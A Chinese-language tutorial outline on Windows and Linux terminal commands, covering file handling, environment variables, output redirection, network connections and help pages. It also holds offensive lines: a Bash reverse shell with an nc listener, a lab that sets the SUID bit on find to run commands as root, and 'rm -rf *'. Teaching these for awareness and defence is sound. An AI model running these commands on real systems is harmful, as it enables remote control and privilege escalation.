命令行的好处:
众操作系统必备,响应快速,直接上手(很大的好处了,不用安装任何第三方软件即可使用) 直观简洁,清爽干净,统一的交互方式(界面单一,颜色对比明显) 能以最直接的方式,类似函数调用式地使用程序,非常适合开发人员的思维 编写命令脚本,自定义、批量地完成工作 还可以轻松地编写与命令行交互的应用程序,从而完成更多扩展。
从开发人员的角度来考虑,一些数据输入输出较简单的程序使用命令行可以大大减少制作用户界面的精力,而制作用户界面本身就是一个具有挑战性的工作。
课程内容:
Windows and Linux Terminals & Command Lines
介绍最为常用的Windows和Linux系统中终端命令。
为什么要学习终端中的命令? - 高效,安全工具环境。
一、如何开启命令行?
1、Windows - win+R - cmd 打开命令提示符。
普通用户运行cmd、系统管理员运行cmd。
2、Linux - ctrl+alt+T 或 点击终端图标。
普通用户 - $、最高权限用户 root - #;
-切换用户权限 sudo;
-切换用户 - su 用户名 - 输入用户密码;
特别注意: Windows系统中的命令不区分大小写,但是Linux系统下的命令是区分大小写。
whoami - WHOAMI -WhoAmI
二、如何使用命令管理文件?
1、命令行下的当前路径。
Windows - cd
Linux - pwd
2、当前路径下具有的文件。
Windows - dir
Linux - ls -alh - 隐藏文件
3、删除具体文件。
Windows - erase
Linux - rm - remove - rf - force - rm rf * - root
4、查看文件内容。
Windows - type - | more
Linux - cat - strings - more - less
5、写入文件内容。
Window 、 Linux - echo - > - >>
6、合并文件。
Windows - type a.txt b.txt > c.txt
Linux - cat a.txt b.txt > c.txt
三、什么是环境变量?
环境变量是在你输入命令时,告知操作系统从哪里找到命令对应的程序来执行。 - 注: 一个命令就是一个程序。
1、查看所有环境变量。
Windows - set
Linux - env
2、查看PATH环境变量。
Windows - set PATH - echo %PATH%
Linux - env | grep PATH - echo $PATH
Linux 临时PATH
export PATH=$PATH:/somewhere
Linux 永久PATH
~/.bash_profile, ~/.bashrc, or ~/.profile
export PATH=$PATH:/somewhere
source .bashrc
四、文件黑洞是什么?
常在河边走,哪有不湿鞋。命令执行多了,很可能错误。
1、如何避免错误输出?- 文件黑洞 - 2-标准错误 0 - 标准输入 1 - 标准输出
Window - 命令 2>nul
Linux - 命令 2>/dev/null
2、如何 Find SUID权限文件?
find / -perm -u=s -type f 2>/dev/null
实验
which find
ls -al /usr/bin/find
chmod u+s /usr/bin/find
find / -perm -u=s -type f 2>/dev/null
touch test
find test -exec "whoami" \;
五、如何查看网络连接?
网络连接 - 本机IP:端口 - 远程IP:端口
1、查看连接状态。
Windows - netstat -nao - netstat -naob
Linux - netstat -ant - netstat -antp
2、筛选具体端口。
Windows - netstat -naob | findstr "port_number"
Linux - netstat -antp | grep "port_number"
3、Bash Reverse Shell
监听端:
nc -lvp PORT - 4444
客户端:
bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"
查看连接状态:
netstat -antp
关闭可疑连接状态:
kill -9 pid
六、如何高效学习命令?
你不可能记忆所有命令及其参数。
1、使用帮助信息。
Windows - 命令 /?
Linux - 命令 -h 或 命令 -help 或 命令 --help 或 man 命令
2、网络适配器信息。
Windows - ipconfig
Linux - ifconfig - ip addr
3、网络连通状态。
Windows - ping IP或Domain
Linux - ping -c 4 IP或Domain
恶意代码 -
Windows - ping -n 3 127.0.0.1
Linux - ping -c 3 127.0.0.1